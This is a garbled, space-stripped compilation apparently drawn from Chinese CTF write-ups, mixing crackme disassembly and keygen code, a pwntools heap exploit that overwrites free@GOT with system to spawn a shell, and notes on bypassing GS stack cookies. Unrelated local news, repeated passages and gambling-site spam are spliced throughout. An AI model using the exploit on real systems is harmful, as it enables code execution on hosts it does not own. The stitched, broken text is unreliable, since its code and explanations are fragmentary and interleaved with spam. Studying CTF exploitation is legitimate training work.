4Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017我们假设包含需要信息的内存记录是存在的。调试命令!pool可以显示一个给定任何地址所在的池页中的所有池块。。通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名adminArch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit(),但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。、www.vns579.com、:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A,秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。程序停在0xF32282:00F32282\0102addds:[edx],eax00F3228403db0300F3228504db04上翻可以看到由0xF321E2跳来:,ss:[ebp-24]ASCII"33053055C3055C2E3030553055C2":[ebp-28]ASCII"123456";//明码比较注册码,相等为,,,:[ebp-2C],eax//比较结果存[ebp-2c],相等为,ss:[ebp-28],/;\,400F321DE837DD400cmpdwordptrss:[ebp-2C],;//[ebp-2c]为0则转去出错地址,程序崩溃在00F318E2下断,重来一次,断在00F318E2可以看到是在明码比较,因为是明码比较所以注册码就是:33053055C3055C2E3030553055C2不过不知道之前等半天在算什么算那么久。WindowsDefender高级威胁防护WindowsDefenderATP为查看和管理整个企业中的托管端点上的所有安全订阅源和事件提供了单一窗体体验。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。贵港城北新区广西贵港市是一座具有两千多年历史的古郡,又是一个充满生机的新兴内河港口城市。、二是办摄影展出书,推介“荷文化”。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。前8个字符正好是des块长度,也就是说,我们知道了rc6的部分明文和密文,可以通过rc6解密穷举出rc6后4位key和全部rc6的明文。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08(记者张智荣)(责编:张芳、张红璐)中段描述符表(IDT)是一个CPU定义的数据结构,指向了内核注册的ISRs。来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译 ,do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}从这四个字符串中,我们怀疑Satori的作者已经开始逆向IoT设备的固件,并将发现的0day添加到攻击设备列表中结论从上面的Iot僵尸网络家族看出,物联网恶意软件一直存在,从简单的密码暴力攻击发展到利用已知漏洞攻击到利用0day攻击。原话如下:MYSQL中utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,=A,=O,ü=U这三种条件都成立,对于utf8_general_ci下面的等式成立:=s,但是,对于utf8_unicode_ci下面等式才成立:=ss所以在将mysql的编码设置为utf-8的时候,=A,=O,ü=U,,左右两边的字符是可以相互替换的。ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。,在市、县、乡河长制工作方案出台、河长制办公室设立、河长制体系建立、江河湖库名录调查、河长制相关制度出台、开展河长巡河等6项重点工作方面要走在全区前列,各项指标要率先完成,确保全市河湖生态健康。 参与复制的线程保留自己的本地分配缓冲区(LAB),这些缓冲区在完成复制时被合并。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A链表的最后总是默认处理程序,这个默认处理程序的指针总是0xFFFFFFFFGS保护机制:Windows在(VisualStudio2003)及以后版本的VisualStudio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征)GS保护机制是在函数即将调用的时候向栈桢压入一个DWORD的随机值,同时也向.data段中存放一个SecurityCookies,1.被压入栈中的随机值位于EBP之前.在.data段中的数据实现栈Cookies的校验2.在函数返回之前,系统将会执行一个额外的安全验证操作,被称作当校验发现栈Cookies和.data的副本不吻合则表明发生溢出4.当检测到栈中发生溢出时,系统接管异常,函数不会被正常返回,ret指令也不会被执行5.当栈中发生溢出时,SecurityCookie将被首先淹没,之后才是EBP和返回地址GS保护机制的实现细节是1系统以.data段的第一个DWORD作为Cookie的种子2每次程序运行时的Cookie的种子都不一样,随机性很强3栈桢初始化完毕后用EBP异或种子,作为当前函数的Cookie,以此区别不同函数,增强Cookie的随机性4在函数返回前,用EBP异或还原出Cookie种子绕过GS安全保护的方案1)通过覆盖SEH链表来阻止系统接管异常处理.2)通过改写C++虚表指针来控制程序流程#msvcrt采用进程堆后失效3)用一些未开启GS安全保护的函数进行溢出(可能是关键字保护)||小于四字节的Buf程序很简单,读取文件来还原溢出场景,我将print函数放在了ReadFile下面,可以看到在ShowFileInfo中Printf函数下面有一个Security_Check_Cookie这就是我们的GS缓冲区检测机制的这个函数,工程项目是realse版本的,在项目属性只开启GS。澳门赌场据了解,今年春运预计贵港火车站将发送旅客万人,同比增加万人,增长%,其中节前预计日均发送万人,节后预计日均发送万人。链接5似乎是在2014时的一个众筹项目,不知现在怎么样了。通过分析程序流程发现调用了.so库,函数名为check,且该函数需要返回1。 把包含上述信息的变量给一个对象,下列的伪代码返回一个指针,如果对象中期望的符号存在,则指向它,否则指向NULL。其中,贵港“红莲”还是独有的珍稀品种。。Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。全市地势平坦,物产丰饶,是广西重要的粮食、蔗糖、林果、禽畜、水产基地,石峡龙眼、荔枝、桂皮、蜜枣、毛尖茶、淮山、草席、莲藕、瘦肉型猪、山黄鸡、肉鸽、腐竹、羽绒等农产品驰名海内外。,对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。、www.vns3144.com、先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。 之后分析的进程注入技术都开源到这一个项目上。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。  “通过不断优化种植结构,农民的种植积极性和农业质效得到了提升。各级各部门要深入贯彻落实绿色发展理念,深入推进生态文明建设,加快西江生态廊道建设,通过巡河、巡查,找准问题,强化执法监督,严厉打击非法排污、设障、捕捞、养殖、采砂、采矿、围垦、侵占水域岸线等违法活动。,这道题还是比较简单,只是加了点反调试(关闭和禁用前台窗口,设置线程来禁止调试事件).分析见注释:00F520A0/$55pushebp00F520A1|.8BECmovebp,esp00F520A3|.6AFEpush-200F520A5|.684044F700push00F7444000F520AA|.68F0D6F500push00F5D6F0入口点00F520AF|.64:A100000000moveax,fs:[0]00F520B5|.50pusheax00F520B6|.83EC14subesp,1400F520B9|.A1DC65F700moveax,[0F765DC]00F520BE|.3145F8xor[ebp-8],eax00F520C1|.33C5xoreax,ebp00F520C3|.8945E4mov[ebp-1C],eax00F520C6|.53pushebx00F520C7|.56pushesi00F520C8|.57pushedi00F520C9|.50pusheax00F520CA|.8D45F0leaeax,[ebp-10]00F520CD|.64:A300000000movfs:[0],eax00F520D3|.E888FEFFFFcall00F51F60//调用反调试程序,关闭和禁用前台窗